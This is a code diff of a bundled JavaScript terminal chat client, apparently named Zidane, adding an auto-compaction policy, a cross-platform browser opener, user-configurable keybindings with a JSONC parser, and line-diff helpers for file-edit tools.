writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE });
|
|
660
|
+
writeFileSync(tmp, `${JSON.stringify(migrated, null, 2)}\n`, { mode: FILE_MODE$1 });
|
|
348
661
|
renameSync(tmp, targetPath);
|
|
349
662
|
return migrated;
|
|
350
663
|
}
|
|
@@ -395,6 +708,111 @@ function detectAuth(dataDir, registry, env = process.env) {
|
|
|
395
708
|
});
|
|
396
709
|
}
|
|
397
710
|
//#endregion
|
|
711
|
+
//#region src/chat/auto-compact.ts
|
|
712
|
+
/**
|
|
713
|
+
* Auto-compaction trigger policy — decide whether the latest turn's usage
|
|
714
|
+
* has crossed the threshold that should fire `compactConversation` against
|
|
715
|
+
* the active session.
|
|
716
|
+
*
|
|
717
|
+
* Pure function, no I/O. Sits next to the chat-layer settings + providers
|
|
718
|
+
* so the same decision is reusable from a non-TUI host (a future GUI shell
|
|
719
|
+
* that wants to surface "Compact now" suggestions, a CI runner that wants
|
|
720
|
+
* to auto-compact between batches, …).
|
|
721
|
+
*
|
|
722
|
+
* Wire contract:
|
|
723
|
+
*
|
|
724
|
+
* - Inputs are the bits the TUI already tracks: latest `usage.input` (from
|
|
725
|
+
* `turn:after`), the model's raw context window (`getContextWindow`),
|
|
726
|
+
* and the user's settings (`autoCompact` + `autoCompactThreshold`).
|
|
727
|
+
* - Output is a discriminated outcome — `'fire'` when the trigger should
|
|
728
|
+
* run, `'skip'` with a reason otherwise. The reason is diagnostic only;
|
|
729
|
+
* callers don't branch on it but tests + debug logs need it.
|
|
730
|
+
*
|
|
731
|
+
* No state. Same inputs → same answer.
|
|
732
|
+
*/
|
|
733
|
+
/**
|
|
734
|
+
* Decide whether auto-compaction should fire for the latest turn.
|
|
735
|
+
*
|
|
736
|
+
* Order of checks is deliberate: cheapest / most common skips first
|
|
737
|
+
* (`disabled` is one boolean read; `unknown-window` is the predictable
|
|
738
|
+
* miss for custom models), invariant violations next, then the actual
|
|
739
|
+
* threshold math. `already-compacting` runs last so the diagnostic
|
|
740
|
+
* surfaces correctly when the predicate is called inside an existing
|
|
741
|
+
* compaction window.
|
|
742
|
+
*/
|
|
743
|
+
function shouldAutoCompact(input) {
|
|
744
|
+
if (!input.enabled) return {
|
|
745
|
+
kind: "skip",
|
|
746
|
+
reason: "disabled"
|
|
747
|
+
};
|
|
748
|
+
if (input.rawContextWindow === null) return {
|
|
749
|
+
kind: "skip",
|
|
750
|
+
reason: "unknown-window"
|
|
751
|
+
};
|
|
752
|
+
if (!Number.isFinite(input.threshold) || input.threshold <= 0 || input.threshold >= 1) return {
|
|
753
|
+
kind: "skip",
|
|
754
|
+
reason: "invalid-threshold"
|
|
755
|
+
};
|
|
756
|
+
if (!Number.isFinite(input.inputTokens) || input.inputTokens < 0) return {
|
|
757
|
+
kind: "skip",
|
|
758
|
+
reason: "invalid-input-tokens"
|
|
759
|
+
};
|
|
760
|
+
const effectiveWindow = effectiveContextWindow(input.rawContextWindow);
|
|
761
|
+
const usedFraction = input.inputTokens / effectiveWindow;
|
|
762
|
+
if (usedFraction < input.threshold) return {
|
|
763
|
+
kind: "skip",
|
|
764
|
+
reason: "under-threshold"
|
|
765
|
+
};
|
|
766
|
+
if (input.alreadyCompacting) return {
|
|
767
|
+
kind: "skip",
|
|
768
|
+
reason: "already-compacting"
|
|
769
|
+
};
|
|
770
|
+
return {
|
|
771
|
+
kind: "fire",
|
|
772
|
+
usedFraction,
|
|
773
|
+
effectiveWindow
|
|
774
|
+
};
|
|
775
|
+
}
|
|
776
|
+
//#endregion
|
|
777
|
+
//#region src/chat/browser.ts
|
|
778
|
+
/**
|
|
779
|
+
* Best-effort cross-platform browser open.
|
|
780
|
+
*
|
|
781
|
+
* macOS uses `open`, Linux uses `xdg-open`, Windows uses `start`. Failures
|
|
782
|
+
* are swallowed — both callers (AI-provider OAuth + MCP-server OAuth) show
|
|
783
|
+
* the URL on-screen for manual click anyway, and the underlying flows have
|
|
784
|
+
* their own progress/cancel paths.
|
|
785
|
+
*
|
|
786
|
+
* Uses `spawn` (not `exec`) so the URL is passed as an argv element rather
|
|
787
|
+
* than interpolated into a shell command — URLs containing `&`, `?`, `"`,
|
|
788
|
+
* or other shell metacharacters don't need quoting.
|
|
789
|
+
*
|
|
790
|
+
* Detached + unref so the spawned helper outlives the parent: the user
|
|
791
|
+
* can finish authorizing in the browser even if the TUI is later
|
|
792
|
+
* suspended (Ctrl-Z) or killed.
|
|
793
|
+
*/
|
|
794
|
+
function tryOpenBrowser(url) {
|
|
795
|
+
const [cmd, ...args] = (() => {
|
|
796
|
+
if (process.platform === "darwin") return ["open", url];
|
|
797
|
+
if (process.platform === "win32") return [
|
|
798
|
+
"cmd",
|
|
799
|
+
"/c",
|
|
800
|
+
"start",
|
|
801
|
+
"",
|
|
802
|
+
url
|
|
803
|
+
];
|
|
804
|
+
return ["xdg-open", url];
|
|
805
|
+
})();
|
|
806
|
+
try {
|
|
807
|
+
const child = spawn(cmd, args, {
|
|
808
|
+
stdio: "ignore",
|
|
809
|
+
detached: true
|
|
810
|
+
});
|
|
811
|
+
child.on("error", () => {});
|
|
812
|
+
child.unref();
|
|
813
|
+
} catch {}
|
|
814
|
+
}
|
|
815
|
+
//#endregion
|
|
398
816
|
//#region src/chat/completion.ts
|
|
399
817
|
/**
|
|
400
818
|
* Prompt autocompletion framework.
|
|
@@ -824,6 +1242,390 @@ function uniqueSkillNamesFromReferences(references) {
|
|
|
824
1242
|
return out;
|
|
825
1243
|
}
|
|
826
1244
|
//#endregion
|
|
1245
|
+
//#region src/chat/keybindings.ts
|
|
1246
|
+
/**
|
|
1247
|
+
* Keybindings — a single source of truth for the app's global shortcuts.
|
|
1248
|
+
*
|
|
1249
|
+
* Every customizable action is declared once in {@link KEYBINDING_DEFS}
|
|
1250
|
+
* with its default trigger, label, and description. The TUI imports
|
|
1251
|
+
* `DEFAULT_KEYBINDINGS` for the baked-in defaults; on launch we load
|
|
1252
|
+
* `<userDir>/keybindings.json` (when present) and merge user overrides
|
|
1253
|
+
* on top so the user can rebind any action without recompiling.
|
|
1254
|
+
*
|
|
1255
|
+
* Scope (deliberate):
|
|
1256
|
+
*
|
|
1257
|
+
* - We expose only the **global, action-opening** shortcuts here —
|
|
1258
|
+
* "open the Settings modal", "cycle agent profile", "enter
|
|
1259
|
+
* select-turn mode", etc. Modal-internal letter shortcuts (`f`
|
|
1260
|
+
* fork, `d` delete, `c` copy on the turn-details modal) and
|
|
1261
|
+
* universal navigation (`↑/↓/↵/⎋`) stay hardcoded — they live
|
|
1262
|
+
* too close to a renderable's input contract to remap safely.
|
|
1263
|
+
*
|
|
1264
|
+
* - Storage lives at the **user level** (`<userDir>/keybindings.json`),
|
|
1265
|
+
* never inside a project's `.{prefix}/`. Shortcut muscle memory is
|
|
1266
|
+
* a per-user concern, not a per-repo one.
|
|
1267
|
+
*
|
|
1268
|
+
* Format on disk: JSON with `//` and `/* … *\/` comments allowed
|
|
1269
|
+
* (parsed via a small JSONC stripper). Each entry maps an action id
|
|
1270
|
+
* to a binding spec string. Specs are parsed by {@link parseBindingSpec};
|
|
1271
|
+
* unknown / malformed entries fall back to the default for that action
|
|
1272
|
+
* (with a debug log under `ZIDANE_DEBUG`) so a syntax slip never bricks
|
|
1273
|
+
* the TUI.
|
|
1274
|
+
*/
|
|
1275
|
+
/**
|
|
1276
|
+
* The canonical action catalog. Order is the source of truth for the
|
|
1277
|
+
* generated keybindings file and the settings UI.
|
|
1278
|
+
*/
|
|
1279
|
+
const KEYBINDING_DEFS = [
|
|
1280
|
+
{
|
|
1281
|
+
action: "openSettings",
|
|
1282
|
+
default: "ctrl+o",
|
|
1283
|
+
label: "settings",
|
|
1284
|
+
description: "open the Settings modal (toggles, theme, keybindings)"
|
|
1285
|
+
},
|
|
1286
|
+
{
|
|
1287
|
+
action: "openSessionDetails",
|
|
1288
|
+
default: "ctrl+x",
|
|
1289
|
+
label: "session",
|
|
1290
|
+
description: "open the session details modal (stats, export, delete, rename)"
|
|
1291
|
+
},
|
|
1292
|
+
{
|
|
1293
|
+
action: "openModelPicker",
|
|
1294
|
+
default: "ctrl+m",
|
|
1295
|
+
label: "model",
|
|
1296
|
+
description: "open the cross-provider model picker"
|
|
1297
|
+
},
|
|
1298
|
+
{
|
|
1299
|
+
action: "openEffortPicker",
|
|
1300
|
+
default: "ctrl+l",
|
|
1301
|
+
label: "effort",
|
|
1302
|
+
description: "open the reasoning-effort picker (when the active model supports it)"
|
|
1303
|
+
},
|
|
1304
|
+
{
|
|
1305
|
+
action: "cycleAgent",
|
|
1306
|
+
default: "shift+tab",
|
|
1307
|
+
label: "cycle agent",
|
|
1308
|
+
description: "cycle to the next agent profile (when multiple profiles are registered)"
|
|
1309
|
+
},
|
|
1310
|
+
{
|
|
1311
|
+
action: "enterSelectTurnMode",
|
|
1312
|
+
default: "ctrl+s",
|
|
1313
|
+
label: "messages",
|
|
1314
|
+
description: "enter select-turn mode to navigate previous messages"
|
|
1315
|
+
},
|
|
1316
|
+
{
|
|
1317
|
+
action: "enterQueueSelection",
|
|
1318
|
+
default: "",
|
|
1319
|
+
label: "select queue",
|
|
1320
|
+
description: "move focus from the prompt textarea into the type-ahead queue box (also: ↑ on an empty prompt)"
|
|
1321
|
+
},
|
|
1322
|
+
{
|
|
1323
|
+
action: "pushQueuedMessage",
|
|
1324
|
+
default: "ctrl+return",
|
|
1325
|
+
label: "push",
|
|
1326
|
+
description: "steer the selected queued message into the live run (delivered between tool calls)"
|
|
1327
|
+
},
|
|
1328
|
+
{
|
|
1329
|
+
action: "dropQueuedMessage",
|
|
1330
|
+
default: "backspace",
|
|
1331
|
+
label: "drop",
|
|
1332
|
+
description: "remove the selected queued message — exits back to the prompt when the queue empties (the big \"remove\" key works everywhere: backspace on Win/Linux, the laptop key labeled \"delete\" on Mac, which sends backspace)"
|
|
1333
|
+
},
|
|
1334
|
+
{
|
|
1335
|
+
action: "turnFork",
|
|
1336
|
+
default: "f",
|
|
1337
|
+
label: "fork",
|
|
1338
|
+
description: "fork the session at the selected turn (two-press confirm)"
|
|
1339
|
+
},
|
|
1340
|
+
{
|
|
1341
|
+
action: "turnDelete",
|
|
1342
|
+
default: "d",
|
|
1343
|
+
label: "delete",
|
|
1344
|
+
description: "delete the selected turn (two-press confirm)"
|
|
1345
|
+
},
|
|
1346
|
+
{
|
|
1347
|
+
action: "turnCopy",
|
|
1348
|
+
default: "c",
|
|
1349
|
+
label: "copy",
|
|
1350
|
+
description: "copy the selected turn content to the clipboard (OSC 52)"
|
|
1351
|
+
},
|
|
1352
|
+
{
|
|
1353
|
+
action: "sessionDelete",
|
|
1354
|
+
default: "d",
|
|
1355
|
+
label: "delete",
|
|
1356
|
+
description: "delete the entire session (two-press confirm)"
|
|
1357
|
+
},
|
|
1358
|
+
{
|
|
1359
|
+
action: "sessionCopyId",
|
|
1360
|
+
default: "c",
|
|
1361
|
+
label: "copy id",
|
|
1362
|
+
description: "copy the full session id to the clipboard (OSC 52)"
|
|
1363
|
+
},
|
|
1364
|
+
{
|
|
1365
|
+
action: "sessionGenerateTitle",
|
|
1366
|
+
default: "g",
|
|
1367
|
+
label: "generate title",
|
|
1368
|
+
description: "generate a title for the session via the active provider/model"
|
|
1369
|
+
},
|
|
1370
|
+
{
|
|
1371
|
+
action: "sessionExportMarkdown",
|
|
1372
|
+
default: "e",
|
|
1373
|
+
label: "export md",
|
|
1374
|
+
description: "export the session as Markdown under .{prefix}/sessions/"
|
|
1375
|
+
},
|
|
1376
|
+
{
|
|
1377
|
+
action: "sessionExportJson",
|
|
1378
|
+
default: "j",
|
|
1379
|
+
label: "export json",
|
|
1380
|
+
description: "export the session as JSON under .{prefix}/sessions/"
|
|
1381
|
+
},
|
|
1382
|
+
{
|
|
1383
|
+
action: "sessionCompact",
|
|
1384
|
+
default: "k",
|
|
1385
|
+
label: "compact",
|
|
1386
|
+
description: "compact older turns via an LLM summary (model still sees everything from the boundary down)"
|
|
1387
|
+
}
|
|
1388
|
+
];
|
|
1389
|
+
/** Index by action for O(1) lookup of label / description / default. */
|
|
1390
|
+
const KEYBINDING_DEF_BY_ACTION = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def }), {});
|
|
1391
|
+
/** Defaults, derived from {@link KEYBINDING_DEFS} so the two never drift. */
|
|
1392
|
+
const DEFAULT_KEYBINDINGS = KEYBINDING_DEFS.reduce((acc, def) => Object.assign(acc, { [def.action]: def.default }), {});
|
|
1393
|
+
/**
|
|
1394
|
+
* Aliases the parser accepts on input so the on-disk format can be
|
|
1395
|
+
* forgiving (different terminals + docs label modifiers + keys
|
|
1396
|
+
* differently). Output names are canonicalized to one form per key so
|
|
1397
|
+
* `matchesBinding` only has to compare one canonical against a
|
|
1398
|
+
* KeyEvent's `name`. Unknown names pass through verbatim — that's
|
|
1399
|
+
* useful for terminal-specific keys we don't have to enumerate.
|
|
1400
|
+
*/
|
|
1401
|
+
const NAME_ALIASES = {
|
|
1402
|
+
esc: "escape",
|
|
1403
|
+
enter: "return",
|
|
1404
|
+
ret: "return",
|
|
1405
|
+
space: "space",
|
|
1406
|
+
spc: "space",
|
|
1407
|
+
del: "delete",
|
|
1408
|
+
ins: "insert",
|
|
1409
|
+
pgup: "pageup",
|
|
1410
|
+
pgdn: "pagedown",
|
|
1411
|
+
pagup: "pageup",
|
|
1412
|
+
pagedn: "pagedown"
|
|
1413
|
+
};
|
|
1414
|
+
const MODIFIER_ALIASES = {
|
|
1415
|
+
ctrl: "ctrl",
|
|
1416
|
+
control: "ctrl",
|
|
1417
|
+
shift: "shift",
|
|
1418
|
+
alt: "alt",
|
|
1419
|
+
option: "alt",
|
|
1420
|
+
opt: "alt",
|
|
1421
|
+
meta: "meta",
|
|
1422
|
+
cmd: "meta",
|
|
1423
|
+
command: "meta",
|
|
1424
|
+
super: "meta",
|
|
1425
|
+
win: "meta"
|
|
1426
|
+
};
|
|
1427
|
+
/**
|
|
1428
|
+
* Parse a `'ctrl+shift+o'`-style spec into structured fields. Returns
|
|
1429
|
+
* `null` for empty / malformed inputs; the caller falls back to the
|
|
1430
|
+
* default for that action.
|
|
1431
|
+
*
|
|
1432
|
+
* Tolerant by design:
|
|
1433
|
+
* - Case-insensitive (`Ctrl+O` → same as `ctrl+o`).
|
|
1434
|
+
* - Modifier order doesn't matter (`shift+ctrl+o` works).
|
|
1435
|
+
* - Mixed `+` and `-` separators allowed (`ctrl-o`, `ctrl+o`).
|
|
1436
|
+
* - Trailing / leading whitespace is stripped.
|
|
1437
|
+
* - Duplicate modifiers collapse silently.
|
|
1438
|
+
*/
|
|
1439
|
+
function parseBindingSpec(spec) {
|
|
1440
|
+
if (typeof spec !== "string") return null;
|
|
1441
|
+
const trimmed = spec.trim().toLowerCase();
|
|
1442
|
+
if (!trimmed) return null;
|
|
1443
|
+
const parts = trimmed.split(/[+\-]/).map((p) => p.trim()).filter(Boolean);
|
|
1444
|
+
if (parts.length === 0) return null;
|
|
1445
|
+
const result = {
|
|
1446
|
+
ctrl: false,
|
|
1447
|
+
shift: false,
|
|
1448
|
+
alt: false,
|
|
1449
|
+
meta: false,
|
|
1450
|
+
name: ""
|
|
1451
|
+
};
|
|
1452
|
+
for (const part of parts) {
|
|
1453
|
+
const modifier = MODIFIER_ALIASES[part];
|
|
1454
|
+
if (modifier) {
|
|
1455
|
+
result[modifier] = true;
|
|
1456
|
+
continue;
|
|
1457
|
+
}
|
|
1458
|
+
if (result.name) return null;
|
|
1459
|
+
result.name = NAME_ALIASES[part] ?? part;
|
|
1460
|
+
}
|
|
1461
|
+
if (!result.name) return null;
|
|
1462
|
+
return result;
|
|
1463
|
+
}
|
|
1464
|
+
/**
|
|
1465
|
+
* Test a KeyEvent against a parsed-or-string binding. Accepts either
|
|
1466
|
+
* form so callers can pre-parse (hot path) or pass the raw spec for
|
|
1467
|
+
* one-off checks.
|
|
1468
|
+
*
|
|
1469
|
+
* Modifier semantics: ALL declared modifiers must be pressed AND no
|
|
1470
|
+
* extra modifiers may be pressed. So `'o'` does NOT match `ctrl+o`,
|
|
1471
|
+
* and `'ctrl+o'` does NOT match `ctrl+shift+o`. This avoids surprises
|
|
1472
|
+
* where a binding that should be specific accidentally fires for a
|
|
1473
|
+
* superset of key combinations.
|
|
1474
|
+
*/
|
|
1475
|
+
function matchesBinding(event, spec) {
|
|
1476
|
+
const parsed = typeof spec === "string" ? parseBindingSpec(spec) : spec;
|
|
1477
|
+
if (!parsed) return false;
|
|
1478
|
+
const altPressed = !!event.option || !!event.alt;
|
|
1479
|
+
if (parsed.ctrl !== !!event.ctrl) return false;
|
|
1480
|
+
if (parsed.shift !== !!event.shift) return false;
|
|
1481
|
+
if (parsed.alt !== altPressed) return false;
|
|
1482
|
+
if (parsed.meta !== !!event.meta) return false;
|
|
1483
|
+
if ((event.name ?? "").toLowerCase() !== parsed.name) return false;
|
|
1484
|
+
return true;
|
|
1485
|
+
}
|
|
1486
|
+
/**
|
|
1487
|
+
* Merge a partial map of user overrides into the defaults. Unknown
|
|
1488
|
+
* action keys are dropped (a future TUI version may have retired the
|
|
1489
|
+
* action); invalid spec strings (parse fails) fall back to the default
|
|
1490
|
+
* for that action.
|
|
1491
|
+
*/
|
|
1492
|
+
function mergeKeybindings(overrides) {
|
|
1493
|
+
if (!overrides || typeof overrides !== "object") return { ...DEFAULT_KEYBINDINGS };
|
|
1494
|
+
const merged = { ...DEFAULT_KEYBINDINGS };
|
|
1495
|
+
for (const def of KEYBINDING_DEFS) {
|
|
1496
|
+
const raw = overrides[def.action];
|
|
1497
|
+
if (typeof raw !== "string") continue;
|
|
1498
|
+
if (!parseBindingSpec(raw)) continue;
|
|
1499
|
+
merged[def.action] = raw;
|
|
1500
|
+
}
|
|
1501
|
+
return merged;
|
|
1502
|
+
}
|
|
1503
|
+
/** Path of the user-level keybindings file. */
|
|
1504
|
+
function keybindingsPath(userDir) {
|
|
1505
|
+
return resolve(userDir, "keybindings.json");
|
|
1506
|
+
}
|
|
1507
|
+
/**
|
|
1508
|
+
* Load + merge the user's keybindings file (when present). Always
|
|
1509
|
+
* returns a fully-resolved {@link KeyBindings} — defaults fill in for
|
|
1510
|
+
* any missing / invalid entries so consumers can treat the result as
|
|
1511
|
+
* total.
|
|
1512
|
+
*
|
|
1513
|
+
* Failure modes (all tolerated, all fall back to defaults):
|
|
1514
|
+
* - File missing
|
|
1515
|
+
* - File not valid JSON / JSONC (after comment stripping)
|
|
1516
|
+
* - Top-level is not an object
|
|
1517
|
+
* - Individual entries have invalid spec strings
|
|
1518
|
+
*/
|
|
1519
|
+
function readKeybindings(userDir) {
|
|
1520
|
+
const path = keybindingsPath(userDir);
|
|
1521
|
+
if (!existsSync(path)) return { ...DEFAULT_KEYBINDINGS };
|
|
1522
|
+
try {
|
|
1523
|
+
const raw = readFileSync(path, "utf-8");
|
|
1524
|
+
const parsed = JSON.parse(stripJsonComments(raw));
|
|
1525
|
+
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) return { ...DEFAULT_KEYBINDINGS };
|
|
1526
|
+
return mergeKeybindings(parsed);
|
|
1527
|
+
} catch {
|
|
1528
|
+
return { ...DEFAULT_KEYBINDINGS };
|
|
1529
|
+
}
|
|
1530
|
+
}
|
|
1531
|
+
/**
|
|
1532
|
+
* Create the user-level `keybindings.json` if it doesn't exist,
|
|
1533
|
+
* prefilled with every default. Returns the absolute file path either
|
|
1534
|
+
* way so the caller can open it in `$EDITOR`. Idempotent: an existing
|
|
1535
|
+
* user file is NEVER overwritten — the user's customizations are
|
|
1536
|
+
* sacred.
|
|
1537
|
+
*/
|
|
1538
|
+
function ensureKeybindingsFile(userDir) {
|
|
1539
|
+
const path = keybindingsPath(userDir);
|
|
1540
|
+
if (existsSync(path)) return path;
|
|
1541
|
+
ensureDir$1(path);
|
|
1542
|
+
const body = renderDefaultFile();
|
|
1543
|
+
const tmp = `${path}.${process.pid}.tmp`;
|
|
1544
|
+
writeFileSync(tmp, body);
|
|
1545
|
+
renameSync(tmp, path);
|
|
1546
|
+
return path;
|
|
1547
|
+
}
|
|
1548
|
+
/**
|
|
1549
|
+
* Render the default `keybindings.json` body. JSONC with a header
|
|
1550
|
+
* explaining the format + per-action comments derived from
|
|
1551
|
+
* {@link KEYBINDING_DEFS}'s descriptions. The user sees the catalog +
|
|
1552
|
+
* defaults at a glance the moment they open the file.
|
|
1553
|
+
*/
|
|
1554
|
+
function renderDefaultFile() {
|
|
1555
|
+
const lines = [];
|
|
1556
|
+
lines.push("// Zidane keybindings — edit values below to customize.");
|
|
1557
|
+
lines.push("//");
|
|
1558
|
+
lines.push("// Format:");
|
|
1559
|
+
lines.push("// \"<action>\": \"<modifier>+<modifier>+<key>\"");
|
|
1560
|
+
lines.push("//");
|
|
1561
|
+
lines.push("// Modifiers: ctrl, shift, alt (option), meta (cmd).");
|
|
1562
|
+
lines.push("// Keys: a-z, 0-9, tab, return, escape, space, delete, …");
|
|
1563
|
+
lines.push("//");
|
|
1564
|
+
lines.push("// Comments (`//` line, `/* block */`) are stripped before parsing.");
|
|
1565
|
+
lines.push("// Restart the TUI to apply changes.");
|
|
1566
|
+
lines.push("{");
|
|
1567
|
+
KEYBINDING_DEFS.forEach((def, i) => {
|
|
1568
|
+
const trailingComma = i < KEYBINDING_DEFS.length - 1 ? "," : "";
|
|
1569
|
+
lines.push(` // ${def.description}`);
|
|
1570
|
+
lines.push(` ${JSON.stringify(def.action)}: ${JSON.stringify(def.default)}${trailingComma}`);
|
|
1571
|
+
});
|
|
1572
|
+
lines.push("}");
|
|
1573
|
+
lines.push("");
|
|
1574
|
+
return lines.join("\n");
|
|
1575
|
+
}
|
|
1576
|
+
function ensureDir$1(path) {
|
|
1577
|
+
const dir = dirname(path);
|
|
1578
|
+
if (!existsSync(dir)) mkdirSync(dir, { recursive: true });
|
|
1579
|
+
}
|
|
1580
|
+
/**
|
|
1581
|
+
* Strip `//` line comments and `/* … *\/` block comments from a JSONC
|
|
1582
|
+
* source string. Stays out of string literals so a `"foo // bar"` value
|
|
1583
|
+
* keeps its slashes. Exported for unit-tests; the only runtime caller
|
|
1584
|
+
* is {@link readKeybindings}.
|
|
1585
|
+
*
|
|
1586
|
+
* Trade-off: this is a tiny state-machine, not a full JSONC parser. It
|
|
1587
|
+
* doesn't understand `\\` outside strings (irrelevant for JSON) and
|
|
1588
|
+
* doesn't track line numbers in error messages. Good enough for a
|
|
1589
|
+
* config file — corruption in production gracefully falls back to the
|
|
1590
|
+
* defaults via the try/catch in `readKeybindings`.
|
|
1591
|
+
*/
|
|
1592
|
+
function stripJsonComments(input) {
|
|
1593
|
+
let out = "";
|
|
1594
|
+
let i = 0;
|
|
1595
|
+
let inString = false;
|
|
1596
|
+
let escape = false;
|
|
1597
|
+
while (i < input.length) {
|
|
1598
|
+
const c = input[i];
|
|
1599
|
+
if (inString) {
|
|
1600
|
+
out += c;
|
|
1601
|
+
if (escape) escape = false;
|
|
1602
|
+
else if (c === "\\") escape = true;
|
|
1603
|
+
else if (c === "\"") inString = false;
|
|
1604
|
+
i++;
|
|
1605
|
+
continue;
|
|
1606
|
+
}
|
|
1607
|
+
if (c === "\"") {
|
|
1608
|
+
inString = true;
|
|
1609
|
+
out += c;
|
|
1610
|
+
i++;
|
|
1611
|
+
continue;
|
|
1612
|
+
}
|
|
1613
|
+
if (c === "/" && input[i + 1] === "/") {
|
|
1614
|
+
while (i < input.length && input[i] !== "\n") i++;
|
|
1615
|
+
continue;
|
|
1616
|
+
}
|
|
1617
|
+
if (c === "/" && input[i + 1] === "*") {
|
|
1618
|
+
i += 2;
|
|
1619
|
+
while (i < input.length && !(input[i] === "*" && input[i + 1] === "/")) i++;
|
|
1620
|
+
i += 2;
|
|
1621
|
+
continue;
|
|
1622
|
+
}
|
|
1623
|
+
out += c;
|
|
1624
|
+
i++;
|
|
1625
|
+
}
|
|
1626
|
+
return out;
|
|
1627
|
+
}
|
|
1628
|
+
//#endregion
|
|
827
1629
|
//#region src/chat/project-root.ts
|
|
828
1630
|
/**
|
|
829
1631
|
* Git root detection — walks parents from `cwd` looking for a `.git`
|
|
@@ -880,6 +1682,230 @@ function hasGitMarker(dir) {
|
|
|
880
1682
|
}
|
|
881
1683
|
}
|
|
882
1684
|
//#endregion
|
|
1685
|
+
//#region src/chat/edit-diff.ts
|
|
1686
|
+
function extractEditPayload(name, input, priorContent) {
|
|
1687
|
+
const path = input.path;
|
|
1688
|
+
if (typeof path !== "string" || path === "") return void 0;
|
|
1689
|
+
if (name === "edit") {
|
|
1690
|
+
const oldString = input.old_string;
|
|
1691
|
+
const newString = input.new_string;
|
|
1692
|
+
if (typeof oldString !== "string" || typeof newString !== "string") return void 0;
|
|
1693
|
+
return {
|
|
1694
|
+
tool: "edit",
|
|
1695
|
+
path,
|
|
1696
|
+
hunks: [{
|
|
1697
|
+
oldString,
|
|
1698
|
+
newString,
|
|
1699
|
+
...input.replace_all === true ? { replaceAll: true } : {}
|
|
1700
|
+
}]
|
|
1701
|
+
};
|
|
1702
|
+
}
|
|
1703
|
+
if (name === "multi_edit") {
|
|
1704
|
+
const steps = input.edits;
|
|
1705
|
+
if (!Array.isArray(steps) || steps.length === 0) return void 0;
|
|
1706
|
+
const hunks = [];
|
|
1707
|
+
for (const raw of steps) {
|
|
1708
|
+
if (typeof raw?.old_string !== "string" || typeof raw?.new_string !== "string") return void 0;
|
|
1709
|
+
hunks.push({
|
|
1710
|
+
oldString: raw.old_string,
|
|
1711
|
+
newString: raw.new_string,
|
|
1712
|
+
...raw.replace_all === true ? { replaceAll: true } : {}
|
|
1713
|
+
});
|
|
1714
|
+
}
|
|
1715
|
+
return {
|
|
1716
|
+
tool: "multi_edit",
|
|
1717
|
+
path,
|
|
1718
|
+
hunks
|
|
1719
|
+
};
|
|
1720
|
+
}
|
|
1721
|
+
if (name === "write_file") {
|
|
1722
|
+
const content = input.content;
|
|
1723
|
+
if (typeof content !== "string") return void 0;
|
|
1724
|
+
return {
|
|
1725
|
+
tool: "write_file",
|
|
1726
|
+
path,
|
|
1727
|
+
hunks: [{
|
|
1728
|
+
oldString: priorContent ?? "",
|
|
1729
|
+
newString: content
|
|
1730
|
+
}]
|
|
1731
|
+
};
|
|
1732
|
+
}
|
|
1733
|
+
}
|
|
1734
|
+
function computeLineDiff(oldString, newString) {
|
|
1735
|
+
const oldLines = splitLines(oldString);
|
|
1736
|
+
const newLines = splitLines(newString);
|
|
1737
|
+
const n = oldLines.length;
|
|
1738
|
+
const m = newLines.length;
|
|
1739
|
+
const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
|
|
1740
|
+
for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldLines[i] === newLines[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
|
|
1741
|
+
const out = [];
|
|
1742
|
+
let i = n;
|
|
1743
|
+
let j = m;
|
|
1744
|
+
while (i > 0 || j > 0) {
|
|
1745
|
+
if (i > 0 && j > 0 && oldLines[i - 1] === newLines[j - 1]) {
|
|
1746
|
+
out.push({
|
|
1747
|
+
op: "context",
|
|
1748
|
+
text: oldLines[i - 1]
|
|
1749
|
+
});
|
|
1750
|
+
i--;
|
|
1751
|
+
j--;
|
|
1752
|
+
continue;
|
|
1753
|
+
}
|
|
1754
|
+
if (j > 0 && (i === 0 || lcs[i][j - 1] >= lcs[i - 1][j])) {
|
|
1755
|
+
out.push({
|
|
1756
|
+
op: "add",
|
|
1757
|
+
text: newLines[j - 1]
|
|
1758
|
+
});
|
|
1759
|
+
j--;
|
|
1760
|
+
continue;
|
|
1761
|
+
}
|
|
1762
|
+
out.push({
|
|
1763
|
+
op: "remove",
|
|
1764
|
+
text: oldLines[i - 1]
|
|
1765
|
+
});
|
|
1766
|
+
i--;
|
|
1767
|
+
}
|
|
1768
|
+
out.reverse();
|
|
1769
|
+
return out;
|
|
1770
|
+
}
|
|
1771
|
+
/**
|
|
1772
|
+
* Split a string into lines preserving empty lines but dropping the
|
|
1773
|
+
* implicit trailing `""` produced by a final `\n`. Exported only for
|
|
1774
|
+
* its tests — callers should use `computeLineDiff`.
|
|
1775
|
+
*/
|
|
1776
|
+
function splitLines(s) {
|
|
1777
|
+
if (s === "") return [];
|
|
1778
|
+
const parts = s.split("\n");
|
|
1779
|
+
if (parts[parts.length - 1] === "") parts.pop();
|
|
1780
|
+
return parts;
|
|
1781
|
+
}
|
|
1782
|
+
function computeInlineDiff(oldLine, newLine) {
|
|
1783
|
+
const oldTokens = tokenize(oldLine);
|
|
1784
|
+
const newTokens = tokenize(newLine);
|
|
1785
|
+
const n = oldTokens.length;
|
|
1786
|
+
const m = newTokens.length;
|
|
1787
|
+
const lcs = Array.from({ length: n + 1 }, () => Array.from({ length: m + 1 }).fill(0));
|
|
1788
|
+
for (let i = 0; i < n; i++) for (let j = 0; j < m; j++) lcs[i + 1][j + 1] = oldTokens[i] === newTokens[j] ? lcs[i][j] + 1 : Math.max(lcs[i][j + 1], lcs[i + 1][j]);
|
|
1789
|
+
const oldSegments = [];
|
|
1790
|
+
const newSegments = [];
|
|
1791
|
+
let i = n;
|
|
1792
|
+
let j = m;
|
|
1793
|
+
while (i > 0 || j > 0) {
|
|
1794
|
+
if (i > 0 && j > 0 && oldTokens[i - 1] === newTokens[j - 1]) {
|
|
1795
|
+
pushSegment(oldSegments, {
|
|
1796
|
+
text: oldTokens[i - 1],
|
|
1797
|
+
changed: false
|
|
1798
|
+
});
|
|
1799
|
+
pushSegment(newSegments, {
|
|
1800
|
+
text: newTokens[j - 1],
|
|
1801
|
+
changed: false
|
|
1802
|
+
